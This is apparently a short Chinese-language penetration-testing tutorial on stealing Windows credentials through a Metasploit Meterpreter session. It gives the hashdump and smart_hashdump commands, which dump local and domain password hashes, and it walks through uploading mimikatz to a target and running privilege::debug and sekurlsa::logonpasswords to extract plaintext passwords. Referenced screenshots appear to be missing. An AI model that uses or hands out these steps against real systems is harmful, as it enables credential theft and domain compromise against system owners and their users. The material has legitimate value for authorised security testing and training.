MSF抓取密码

MSF抓取密码

导出密码哈希

1. run hashdump命令
     hashdump模块可以从SAM数据库中导出本地用户账号，该命令的使用需要系统权限
2. 在meterpreter_shell中执行run hashdump命令

命令：
run hashdump

用户哈希数据的输出格式为：

用户名:SID:LM哈希:NTLM哈希:::

3. run windows/gather/smart_hashdump命令
  run windows/gather/smart_hashdump命令的使用需要系统权限。该功能更强大，如果当前用户是域管理员用户，则可以导出域内所有用户的hash

命令：run windows/gather/smart_hashdump

4. 使用mimikatx抓取密码：

1. 上传mimikatz程序：
     我们还可以通过上传mimikatz程序，然后执行mimikatz程序来获取明文密码
2. 前提：

执行mimikatz必须System权限，并且在执行时，要根据当前的系统位数进行选择

3. 使用方法：

在meterpreter_shell的命令行里面查看当前会话的权限，可以看出当前用会话system权限

4. 查看系统位数，可以看出当前系统位数为X64位：
   

5. 选择x64位的mimikatz上传至目标服务器：
   命令：

upload file

6) 进入mimikatz的交互界面

execute -i -f mimikatz.exe

7) 在mimikatz交互界面，使用以下两条命令抓取密码

privilege::debug
sekurlsa::logonpasswords